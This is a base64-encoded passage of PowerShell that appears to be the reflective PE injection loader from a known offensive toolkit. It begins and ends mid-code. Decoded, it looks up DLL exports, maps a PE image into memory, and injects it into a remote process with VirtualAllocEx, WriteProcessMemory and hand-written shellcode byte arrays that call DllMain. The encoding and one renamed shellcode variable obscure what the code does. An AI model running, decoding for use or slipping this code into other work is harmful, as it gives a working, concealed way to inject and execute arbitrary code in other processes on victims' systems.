MkNvbnN0YW50cyA9IEdldC1XaW4zMkNvbnN0YW50cwoJCSRQRUluZm8gPSBHZXQtUEVEZXRhaWxl
ZEluZm8gLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJUeXBlcyAtV2luMzJD
b25zdGFudHMgJFdpbjMyQ29uc3RhbnRzCgkJCgoJCWlmICgkUEVJbmZvLklNQUdFX05UX0hFQURF
UlMuT3B0aW9uYWxIZWFkZXIuRXhwb3J0VGFibGUuU2l6ZSAtZXEgMCkKCQl7CgkJCXJldHVybiBb
SW50UHRyXTo6WmVybwoJCX0KCQkkRXhwb3J0VGFibGVQdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNp
Z25lZCAoJFBFSGFuZGxlKSAoJFBFSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVy
LkV4cG9ydFRhYmxlLlZpcnR1YWxBZGRyZXNzKQoJCSRFeHBvcnRUYWJsZSA9IFtTeXN0ZW0uUnVu
dGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRFeHBvcnRUYWJs
ZVB0ciwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfRVhQT1JUX0RJUkVDVE9SWSkKCQkKCQlmb3Ig
KCRpID0gMDsgJGkgLWx0ICRFeHBvcnRUYWJsZS5OdW1iZXJPZk5hbWVzOyAkaSsrKQoJCXsKCgkJ
CSROYW1lT2Zmc2V0UHRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUhhbmRsZSkgKCRF
eHBvcnRUYWJsZS5BZGRyZXNzT2ZOYW1lcyArICgkaSAqIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w
U2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bVUludDMyXSkpKQoJCQkkTmFtZVB0ciA9
IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVIYW5kbGUpIChbU3lzdGVtLlJ1bnRpbWUuSW50
ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkTmFtZU9mZnNldFB0ciwgW1R5
cGVdW1VJbnQzMl0pKQoJCQkkTmFtZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu
TWFyc2hhbF06OlB0clRvU3RyaW5nQW5zaSgkTmFtZVB0cikKCgkJCWlmICgkTmFtZSAtY2VxICRG
dW5jdGlvbk5hbWUpCgkJCXsKCgoJCQkJJE9yZGluYWxQdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNp
Z25lZCAoJFBFSGFuZGxlKSAoJEV4cG9ydFRhYmxlLkFkZHJlc3NPZk5hbWVPcmRpbmFscyArICgk
aSAqIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlw
ZV1bVUludDE2XSkpKQoJCQkJJEZ1bmNJbmRleCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2Vy
dmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRPcmRpbmFsUHRyLCBbVHlwZV1bVUludDE2
XSkKCQkJCSRGdW5jT2Zmc2V0QWRkciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVIYW5k
bGUpICgkRXhwb3J0VGFibGUuQWRkcmVzc09mRnVuY3Rpb25zICsgKCRGdW5jSW5kZXggKiBbU3lz
dGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW1VJbnQz
Ml0pKSkKCQkJCSRGdW5jT2Zmc2V0ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N
YXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJEZ1bmNPZmZzZXRBZGRyLCBbVHlwZV1bVUludDMyXSkK
CQkJCXJldHVybiBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSGFuZGxlKSAoJEZ1bmNPZmZz
ZXQpCgkJCX0KCQl9CgkJCgkJcmV0dXJuIFtJbnRQdHJdOjpaZXJvCgl9CgoKCUZ1bmN0aW9uIElu
dm9rZS1NZW1vcnlMb2FkTGlicmFyeQoJewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoIFBvc2l0aW9u
ID0gMCwgTWFuZGF0b3J5ID0gJHRydWUgKV0KCQlbQnl0ZVtdXQoJCSRQRUJ5dGVzLAoJCQoJCVtQ
YXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkZmFsc2UpXQoJCVtTdHJpbmddCgkJ
JEV4ZUFyZ3MsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDIsIE1hbmRhdG9yeSA9ICRmYWxz
ZSldCgkJW0ludFB0cl0KCQkkUmVtb3RlUHJvY0hhbmRsZQoJCSkKCQkKCQkkUHRyU2l6ZSA9IFtT
eXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bSW50
UHRyXSkKCQkKCgkJJFdpbjMyQ29uc3RhbnRzID0gR2V0LVdpbjMyQ29uc3RhbnRzCgkJJFdpbjMy
RnVuY3Rpb25zID0gR2V0LVdpbjMyRnVuY3Rpb25zCgkJJFdpbjMyVHlwZXMgPSBHZXQtV2luMzJU
eXBlcwoJCQoJCSRSZW1vdGVMb2FkaW5nID0gJGZhbHNlCgkJaWYgKCgkUmVtb3RlUHJvY0hhbmRs
ZSAtbmUgJG51bGwpIC1hbmQgKCRSZW1vdGVQcm9jSGFuZGxlIC1uZSBbSW50UHRyXTo6WmVybykp
CgkJewoJCQkkUmVtb3RlTG9hZGluZyA9ICR0cnVlCgkJfQoJCQoKCQlXcml0ZS1WZXJib3NlICJH
ZXR0aW5nIGJhc2ljIFBFIGluZm9ybWF0aW9uIGZyb20gdGhlIGZpbGUiCgkJJFBFSW5mbyA9IEdl
dC1QRUJhc2ljSW5mbyAtUEVCeXRlcyAkUEVCeXRlcyAtV2luMzJUeXBlcyAkV2luMzJUeXBlcwoJ
CSRPcmlnaW5hbEltYWdlQmFzZSA9ICRQRUluZm8uT3JpZ2luYWxJbWFnZUJhc2UKCQkkTlhDb21w
YXRpYmxlID0gJHRydWUKCQlpZiAoKFtJbnRdICRQRUluZm8uRGxsQ2hhcmFjdGVyaXN0aWNzIC1i
YW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfTlhfQ09NUEFUKSAt
bmUgJFdpbjMyQ29uc3RhbnRzLklNQUdFX0RMTENIQVJBQ1RFUklTVElDU19OWF9DT01QQVQpCgkJ
ewoJCQlXcml0ZS1XYXJuaW5nICJQRSBpcyBub3QgY29tcGF0aWJsZSB3aXRoIERFUCwgbWlnaHQg
Y2F1c2UgaXNzdWVzIiAtV2FybmluZ0FjdGlvbiBDb250aW51ZQoJCQkkTlhDb21wYXRpYmxlID0g
JGZhbHNlCgkJfQoJCQoJCQoKCQkkUHJvY2VzczY0Qml0ID0gJHRydWUKCQlpZiAoJFJlbW90ZUxv
YWRpbmcgLWVxICR0cnVlKQoJCXsKCQkJJEtlcm5lbDMySGFuZGxlID0gJFdpbjMyRnVuY3Rpb25z
LkdldE1vZHVsZUhhbmRsZS5JbnZva2UoImtlcm5lbDMyLmRsbCIpCgkJCSRSZXN1bHQgPSAkV2lu
MzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIklzV293
NjRQcm9jZXNzIikKCQkJaWYgKCRSZXN1bHQgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCQl7CgkJCQlU
aHJvdyAiQ291bGRuJ3QgbG9jYXRlIElzV293NjRQcm9jZXNzIGZ1bmN0aW9uIHRvIGRldGVybWlu
ZSBpZiB0YXJnZXQgcHJvY2VzcyBpcyAzMmJpdCBvciA2NGJpdCIKCQkJfQoJCQkKCQkJW0Jvb2xd
JFdvdzY0UHJvY2VzcyA9ICRmYWxzZQoJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5Jc1dv
dzY0UHJvY2Vzcy5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsIFtSZWZdJFdvdzY0UHJvY2VzcykK
CQkJaWYgKCRTdWNjZXNzIC1lcSAkZmFsc2UpCgkJCXsKCQkJCVRocm93ICJDYWxsIHRvIElzV293
NjRQcm9jZXNzIGZhaWxlZCIKCQkJfQoJCQkKCQkJaWYgKCgkV293NjRQcm9jZXNzIC1lcSAkdHJ1
ZSkgLW9yICgoJFdvdzY0UHJvY2VzcyAtZXEgJGZhbHNlKSAtYW5kIChbU3lzdGVtLlJ1bnRpbWUu
SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW0ludFB0cl0pIC1lcSA0KSkp
CgkJCXsKCQkJCSRQcm9jZXNzNjRCaXQgPSAkZmFsc2UKCQkJfQoJCQkKCgkJCSRQb3dlclNoZWxs
NjRCaXQgPSAkdHJ1ZQoJCQlpZiAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz
aGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJdKSAtbmUgOCkKCQkJewoJCQkJJFBvd2VyU2hlbGw2
NEJpdCA9ICRmYWxzZQoJCQl9CgkJCWlmICgkUG93ZXJTaGVsbDY0Qml0IC1uZSAkUHJvY2VzczY0
Qml0KQoJCQl7CgkJCQl0aHJvdyAiUG93ZXJTaGVsbCBtdXN0IGJlIHNhbWUgYXJjaGl0ZWN0dXJl
ICh4ODYveDY0KSBhcyBQRSBiZWluZyBsb2FkZWQgYW5kIHJlbW90ZSBwcm9jZXNzIgoJCQl9CgkJ
fQoJCWVsc2UKCQl7CgkJCWlmIChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo
YWxdOjpTaXplT2YoW1R5cGVdW0ludFB0cl0pIC1uZSA4KQoJCQl7CgkJCQkkUHJvY2VzczY0Qml0
ID0gJGZhbHNlCgkJCX0KCQl9CgkJaWYgKCRQcm9jZXNzNjRCaXQgLW5lICRQRUluZm8uUEU2NEJp
dCkKCQl7CgkJCVRocm93ICJQRSBwbGF0Zm9ybSBkb2Vzbid0IG1hdGNoIHRoZSBhcmNoaXRlY3R1
cmUgb2YgdGhlIHByb2Nlc3MgaXQgaXMgYmVpbmcgbG9hZGVkIGluICgzMi82NGJpdCkiCgkJfQoJ
CQoKCgkJV3JpdGUtVmVyYm9zZSAiQWxsb2NhdGluZyBtZW1vcnkgZm9yIHRoZSBQRSBhbmQgd3Jp
dGUgaXRzIGhlYWRlcnMgdG8gbWVtb3J5IgoJCQoJCVtJbnRQdHJdJExvYWRBZGRyID0gW0ludFB0
cl06Olplcm8KCQlpZiAoKFtJbnRdICRQRUluZm8uRGxsQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRX
aW4zMkNvbnN0YW50cy5JTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfRFlOQU1JQ19CQVNFKSAtbmUg
JFdpbjMyQ29uc3RhbnRzLklNQUdFX0RMTENIQVJBQ1RFUklTVElDU19EWU5BTUlDX0JBU0UpCgkJ
ewoJCQlXcml0ZS1XYXJuaW5nICJQRSBmaWxlIGJlaW5nIHJlZmxlY3RpdmVseSBsb2FkZWQgaXMg
bm90IEFTTFIgY29tcGF0aWJsZS4gSWYgdGhlIGxvYWRpbmcgZmFpbHMsIHRyeSByZXN0YXJ0aW5n
IFBvd2VyU2hlbGwgYW5kIHRyeWluZyBhZ2FpbiIgLVdhcm5pbmdBY3Rpb24gQ29udGludWUKCQkJ
W0ludFB0cl0kTG9hZEFkZHIgPSAkT3JpZ2luYWxJbWFnZUJhc2UKCQl9CgoJCSRQRUhhbmRsZSA9
IFtJbnRQdHJdOjpaZXJvCQkJCSNUaGlzIGlzIHdoZXJlIHRoZSBQRSBpcyBhbGxvY2F0ZWQgaW4g
UG93ZXJTaGVsbAoJCSRFZmZlY3RpdmVQRUhhbmRsZSA9IFtJbnRQdHJdOjpaZXJvCQkjVGhpcyBp
cyB0aGUgYWRkcmVzcyB0aGUgUEUgd2lsbCBiZSBsb2FkZWQgdG8uIElmIGl0IGlzIGxvYWRlZCBp
biBQb3dlclNoZWxsLCB0aGlzIGVxdWFscyAkUEVIYW5kbGUuIElmIGl0IGlzIGxvYWRlZCBpbiBh
IHJlbW90ZSBwcm9jZXNzLCB0aGlzIGlzIHRoZSBhZGRyZXNzIGluIHRoZSByZW1vdGUgcHJvY2Vz
cy4KCQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVxICR0cnVlKQoJCXsKCgkJCSRQRUhhbmRsZSA9ICRX
aW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2MuSW52b2tlKFtJbnRQdHJdOjpaZXJvLCBbVUludFB0
cl0kUEVJbmZvLlNpemVPZkltYWdlLCAkV2luMzJDb25zdGFudHMuTUVNX0NPTU1JVCAtYm9yICRX
aW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwgJFdpbjMyQ29uc3RhbnRzLlBBR0VfUkVBRFdSSVRF
KQoJCQkKCgkJCSRFZmZlY3RpdmVQRUhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxs
b2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsICRMb2FkQWRkciwgW1VJbnRQdHJdJFBFSW5m
by5TaXplT2ZJbWFnZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25z
dGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRF
KQoJCQlpZiAoJEVmZmVjdGl2ZVBFSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykKCQkJewoJCQkJ
VGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSBtZW1vcnkgaW4gdGhlIHJlbW90ZSBwcm9jZXNzLiBJ
ZiB0aGUgUEUgYmVpbmcgbG9hZGVkIGRvZXNuJ3Qgc3VwcG9ydCBBU0xSLCBpdCBjb3VsZCBiZSB0
aGF0IHRoZSByZXF1ZXN0ZWQgYmFzZSBhZGRyZXNzIG9mIHRoZSBQRSBpcyBhbHJlYWR5IGluIHVz
ZSIKCQkJfQoJCX0KCQllbHNlCgkJewoJCQlpZiAoJE5YQ29tcGF0aWJsZSAtZXEgJHRydWUpCgkJ
CXsKCQkJCSRQRUhhbmRsZSA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2MuSW52b2tlKCRM
b2FkQWRkciwgW1VJbnRQdHJdJFBFSW5mby5TaXplT2ZJbWFnZSwgJFdpbjMyQ29uc3RhbnRzLk1F
TV9DT01NSVQgLWJvciAkV2luMzJDb25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50
cy5QQUdFX1JFQURXUklURSkKCQkJfQoJCQllbHNlCgkJCXsKCQkJCSRQRUhhbmRsZSA9ICRXaW4z
MkZ1bmN0aW9ucy5WaXJ0dWFsQWxsb2MuSW52b2tlKCRMb2FkQWRkciwgW1VJbnRQdHJdJFBFSW5m
by5TaXplT2ZJbWFnZSwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJDb25z
dGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRF
KQoJCQl9CgkJCSRFZmZlY3RpdmVQRUhhbmRsZSA9ICRQRUhhbmRsZQoJCX0KCQkKCQlbSW50UHRy
XSRQRUVuZEFkZHJlc3MgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSGFuZGxlKSAoW0lu
dDY0XSRQRUluZm8uU2l6ZU9mSW1hZ2UpCgkJaWYgKCRQRUhhbmRsZSAtZXEgW0ludFB0cl06Olpl
cm8pCgkJeyAKCQkJVGhyb3cgIlZpcnR1YWxBbGxvYyBmYWlsZWQgdG8gYWxsb2NhdGUgbWVtb3J5
IGZvciBQRS4gSWYgUEUgaXMgbm90IEFTTFIgY29tcGF0aWJsZSwgdHJ5IHJ1bm5pbmcgdGhlIHNj
cmlwdCBpbiBhIG5ldyBQb3dlclNoZWxsIHByb2Nlc3MgKHRoZSBuZXcgUG93ZXJTaGVsbCBwcm9j
ZXNzIHdpbGwgaGF2ZSBhIGRpZmZlcmVudCBtZW1vcnkgbGF5b3V0LCBzbyB0aGUgYWRkcmVzcyB0
aGUgUEUgd2FudHMgbWlnaHQgYmUgZnJlZSkuIgoJCX0JCQoJCVtTeXN0ZW0uUnVudGltZS5JbnRl
cm9wU2VydmljZXMuTWFyc2hhbF06OkNvcHkoJFBFQnl0ZXMsIDAsICRQRUhhbmRsZSwgJFBFSW5m
by5TaXplT2ZIZWFkZXJzKSB8IE91dC1OdWxsCgkJCgkJCgoJCVdyaXRlLVZlcmJvc2UgIkdldHRp
bmcgZGV0YWlsZWQgUEUgaW5mb3JtYXRpb24gZnJvbSB0aGUgaGVhZGVycyBsb2FkZWQgaW4gbWVt
b3J5IgoJCSRQRUluZm8gPSBHZXQtUEVEZXRhaWxlZEluZm8gLVBFSGFuZGxlICRQRUhhbmRsZSAt
V2luMzJUeXBlcyAkV2luMzJUeXBlcyAtV2luMzJDb25zdGFudHMgJFdpbjMyQ29uc3RhbnRzCgkJ
JFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIEVuZEFk
ZHJlc3MgLVZhbHVlICRQRUVuZEFkZHJlc3MKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVy
VHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgRWZmZWN0aXZlUEVIYW5kbGUgLVZhbHVlICRFZmZlY3Rp
dmVQRUhhbmRsZQoJCVdyaXRlLVZlcmJvc2UgIlN0YXJ0QWRkcmVzczogJFBFSGFuZGxlICAgIEVu
ZEFkZHJlc3M6ICRQRUVuZEFkZHJlc3MiCgkJCgkJCgoJCVdyaXRlLVZlcmJvc2UgIkNvcHkgUEUg
c2VjdGlvbnMgaW4gdG8gbWVtb3J5IgoJCUNvcHktU2VjdGlvbnMgLVBFQnl0ZXMgJFBFQnl0ZXMg
LVBFSW5mbyAkUEVJbmZvIC1XaW4zMkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyVHlw
ZXMgJFdpbjMyVHlwZXMKCQkKCQkKCgkJV3JpdGUtVmVyYm9zZSAiVXBkYXRlIG1lbW9yeSBhZGRy
ZXNzZXMgYmFzZWQgb24gd2hlcmUgdGhlIFBFIHdhcyBhY3R1YWxseSBsb2FkZWQgaW4gbWVtb3J5
IgoJCVVwZGF0ZS1NZW1vcnlBZGRyZXNzZXMgLVBFSW5mbyAkUEVJbmZvIC1PcmlnaW5hbEltYWdl
QmFzZSAkT3JpZ2luYWxJbWFnZUJhc2UgLVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cyAt
V2luMzJUeXBlcyAkV2luMzJUeXBlcwoKCQkKCgkJV3JpdGUtVmVyYm9zZSAiSW1wb3J0IERMTCdz
IG5lZWRlZCBieSB0aGUgUEUgd2UgYXJlIGxvYWRpbmciCgkJaWYgKCRSZW1vdGVMb2FkaW5nIC1l
cSAkdHJ1ZSkKCQl7CgkJCUltcG9ydC1EbGxJbXBvcnRzIC1QRUluZm8gJFBFSW5mbyAtV2luMzJG
dW5jdGlvbnMgJFdpbjMyRnVuY3Rpb25zIC1XaW4zMlR5cGVzICRXaW4zMlR5cGVzIC1XaW4zMkNv
bnN0YW50cyAkV2luMzJDb25zdGFudHMgLVJlbW90ZVByb2NIYW5kbGUgJFJlbW90ZVByb2NIYW5k
bGUKCQl9CgkJZWxzZQoJCXsKCQkJSW1wb3J0LURsbEltcG9ydHMgLVBFSW5mbyAkUEVJbmZvIC1X
aW4zMkZ1bmN0aW9ucyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyVHlwZXMgJFdpbjMyVHlwZXMgLVdp
bjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cwoJCX0KCQkKCQkKCgkJaWYgKCRSZW1vdGVMb2Fk
aW5nIC1lcSAkZmFsc2UpCgkJewoJCQlpZiAoJE5YQ29tcGF0aWJsZSAtZXEgJHRydWUpCgkJCXsK
CQkJCVdyaXRlLVZlcmJvc2UgIlVwZGF0ZSBtZW1vcnkgcHJvdGVjdGlvbiBmbGFncyIKCQkJCVVw
ZGF0ZS1NZW1vcnlQcm90ZWN0aW9uRmxhZ3MgLVBFSW5mbyAkUEVJbmZvIC1XaW4zMkZ1bmN0aW9u
cyAkV2luMzJGdW5jdGlvbnMgLVdpbjMyQ29uc3RhbnRzICRXaW4zMkNvbnN0YW50cyAtV2luMzJU
eXBlcyAkV2luMzJUeXBlcwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJV3JpdGUtVmVyYm9zZSAiUEUg
YmVpbmcgcmVmbGVjdGl2ZWx5IGxvYWRlZCBpcyBub3QgY29tcGF0aWJsZSB3aXRoIE5YIG1lbW9y
eSwga2VlcGluZyBtZW1vcnkgYXMgcmVhZCB3cml0ZSBleGVjdXRlIgoJCQl9CgkJfQoJCWVsc2UK
CQl7CgkJCVdyaXRlLVZlcmJvc2UgIlBFIGJlaW5nIGxvYWRlZCBpbiB0byBhIHJlbW90ZSBwcm9j
ZXNzLCBub3QgYWRqdXN0aW5nIG1lbW9yeSBwZXJtaXNzaW9ucyIKCQl9CgkJCgkJCgoJCWlmICgk
UmVtb3RlTG9hZGluZyAtZXEgJHRydWUpCgkJewoJCQlbVUludDMyXSROdW1CeXRlc1dyaXR0ZW4g
PSAwCgkJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLldyaXRlUHJvY2Vzc01lbW9yeS5JbnZv
a2UoJFJlbW90ZVByb2NIYW5kbGUsICRFZmZlY3RpdmVQRUhhbmRsZSwgJFBFSGFuZGxlLCBbVUlu
dFB0cl0oJFBFSW5mby5TaXplT2ZJbWFnZSksIFtSZWZdJE51bUJ5dGVzV3JpdHRlbikKCQkJaWYg
KCRTdWNjZXNzIC1lcSAkZmFsc2UpCgkJCXsKCQkJCVRocm93ICJVbmFibGUgdG8gd3JpdGUgc2hl
bGxjb2RlIHRvIHJlbW90ZSBwcm9jZXNzIG1lbW9yeS4iCgkJCX0KCQl9CgkJCgkJCgoJCWlmICgk
UEVJbmZvLkZpbGVUeXBlIC1pZXEgIkRMTCIpCgkJewoJCQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVx
ICRmYWxzZSkKCQkJewoJCQkJV3JpdGUtVmVyYm9zZSAiQ2FsbGluZyBkbGxtYWluIHNvIHRoZSBE
TEwga25vd3MgaXQgaGFzIGJlZW4gbG9hZGVkIgoJCQkJJERsbE1haW5QdHIgPSBBZGQtU2lnbmVk
SW50QXNVbnNpZ25lZCAoJFBFSW5mby5QRUhhbmRsZSkgKCRQRUluZm8uSU1BR0VfTlRfSEVBREVS
Uy5PcHRpb25hbEhlYWRlci5BZGRyZXNzT2ZFbnRyeVBvaW50KQoJCQkJJERsbE1haW5EZWxlZ2F0
ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW1VJbnQzMl0sIFtJbnRQdHJdKSAoW0Jv
b2xdKQoJCQkJJERsbE1haW4gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo
YWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkRGxsTWFpblB0ciwgJERsbE1haW5E
ZWxlZ2F0ZSkKCQkJCQoJCQkJJERsbE1haW4uSW52b2tlKCRQRUluZm8uUEVIYW5kbGUsIDEsIFtJ
bnRQdHJdOjpaZXJvKSB8IE91dC1OdWxsCgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkRGxsTWFpblB0
ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkRWZmZWN0aXZlUEVIYW5kbGUpICgkUEVJbmZv
LklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuQWRkcmVzc09mRW50cnlQb2ludCkKCQkJ
CgkJCQlpZiAoJFBFSW5mby5QRTY0Qml0IC1lcSAkdHJ1ZSkKCQkJCXsKCgkJCQkJJGZ1bmMxMjUg
PSBAKDB4NTMsIDB4NDgsIDB4ODksIDB4ZTMsIDB4NjYsIDB4ODMsIDB4ZTQsIDB4MDAsIDB4NDgs
IDB4YjkpCgkJCQkJJENhbGxEbGxNYWluU0MyID0gQCgweGJhLCAweDAxLCAweDAwLCAweDAwLCAw
eDAwLCAweDQxLCAweGI4LCAweDAwLCAweDAwLCAweDAwLCAweDAwLCAweDQ4LCAweGI4KQoJCQkJ
CSRDYWxsRGxsTWFpblNDMyA9IEAoMHhmZiwgMHhkMCwgMHg0OCwgMHg4OSwgMHhkYywgMHg1Yiwg
MHhjMykKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCgkJCQkJJGZ1bmMxMjUgPSBAKDB4NTMsIDB4ODks
IDB4ZTMsIDB4ODMsIDB4ZTQsIDB4ZjAsIDB4YjkpCgkJCQkJJENhbGxEbGxNYWluU0MyID0gQCgw
eGJhLCAweDAxLCAweDAwLCAweDAwLCAweDAwLCAweGI4LCAweDAwLCAweDAwLCAweDAwLCAweDAw
LCAweDUwLCAweDUyLCAweDUxLCAweGI4KQoJCQkJCSRDYWxsRGxsTWFpblNDMyA9IEAoMHhmZiwg
MHhkMCwgMHg4OSwgMHhkYywgMHg1YiwgMHhjMykKCQkJCX0KCQkJCSRTQ0xlbmd0aCA9ICRmdW5j
MTI1Lkxlbmd0aCArICRDYWxsRGxsTWFpblNDMi5MZW5ndGggKyAkQ2FsbERsbE1haW5TQzMuTGVu
Z3RoICsgKCRQdHJTaXplICogMikKCQkJCSRTQ1BTTWVtID0gW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKCRTQ0xlbmd0aCkKCQkJCSRTQ1BTTWVt
T3JpZ2luYWwgPSAkU0NQU01lbQoJCQkJCgkJCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAk
ZnVuYzEyNSAtTWVtb3J5QWRkcmVzcyAkU0NQU01lbQoJCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVk
SW50QXNVbnNpZ25lZCAkU0NQU01lbSAoJGZ1bmMxMjUuTGVuZ3RoKQoJCQkJW1N5c3RlbS5SdW50
aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJEVmZmVjdGl2ZVBF
SGFuZGxlLCAkU0NQU01lbSwgJGZhbHNlKQoJCQkJJFNDUFNNZW0gPSBBZGQtU2lnbmVkSW50QXNV
bnNpZ25lZCAkU0NQU01lbSAoJFB0clNpemUpCgkJCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRl
cyAkQ2FsbERsbE1haW5TQzIgLU1lbW9yeUFkZHJlc3MgJFNDUFNNZW0KCQkJCSRTQ1BTTWVtID0g
QWRkLVNpZ25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRDYWxsRGxsTWFpblNDMi5MZW5ndGgp
CgkJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVU
b1B0cigkRGxsTWFpblB0ciwgJFNDUFNNZW0sICRmYWxzZSkKCQkJCSRTQ1BTTWVtID0gQWRkLVNp
Z25lZEludEFzVW5zaWduZWQgJFNDUFNNZW0gKCRQdHJTaXplKQoJCQkJV3JpdGUtQnl0ZXNUb01l
bW9yeSAtQnl0ZXMgJENhbGxEbGxNYWluU0MzIC1NZW1vcnlBZGRyZXNzICRTQ1BTTWVtCgkJCQkk
U0NQU01lbSA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRTQ1BTTWVtICgkQ2FsbERsbE1haW5T
QzMuTGVuZ3RoKQoJCQkJCgkJCQkkUlNDQWRkciA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsQWxs
b2NFeC5JbnZva2UoJFJlbW90ZVByb2NIYW5kbGUsIFtJbnRQdHJdOjpaZXJvLCBbVUludFB0cl1b
VUludDY0XSRTQ0xlbmd0aCwgJFdpbjMyQ29uc3RhbnRzLk1FTV9DT01NSVQgLWJvciAkV2luMzJD
b25zdGFudHMuTUVNX1JFU0VSVkUsICRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdS
SVRFKQoJCQkJaWYgKCRSU0NBZGRyIC1lcSBbSW50UHRyXTo6WmVybykKCQkJCXsKCQkJCQlUaHJv
dyAiVW5hYmxlIHRvIGFsbG9jYXRlIG1lbW9yeSBpbiB0aGUgcmVtb3RlIHByb2Nlc3MgZm9yIHNo
ZWxsY29kZSIKCQkJCX0KCQkJCQoJCQkJJFN1Y2Nlc3MgPSAkV2luMzJGdW5jdGlvbnMuV3JpdGVQ
cm9jZXNzTWVtb3J5Lkludm9rZSgkUmVtb3RlUHJvY0hhbmRsZSwgJFJTQ0FkZHIsICRTQ1BTTWVt
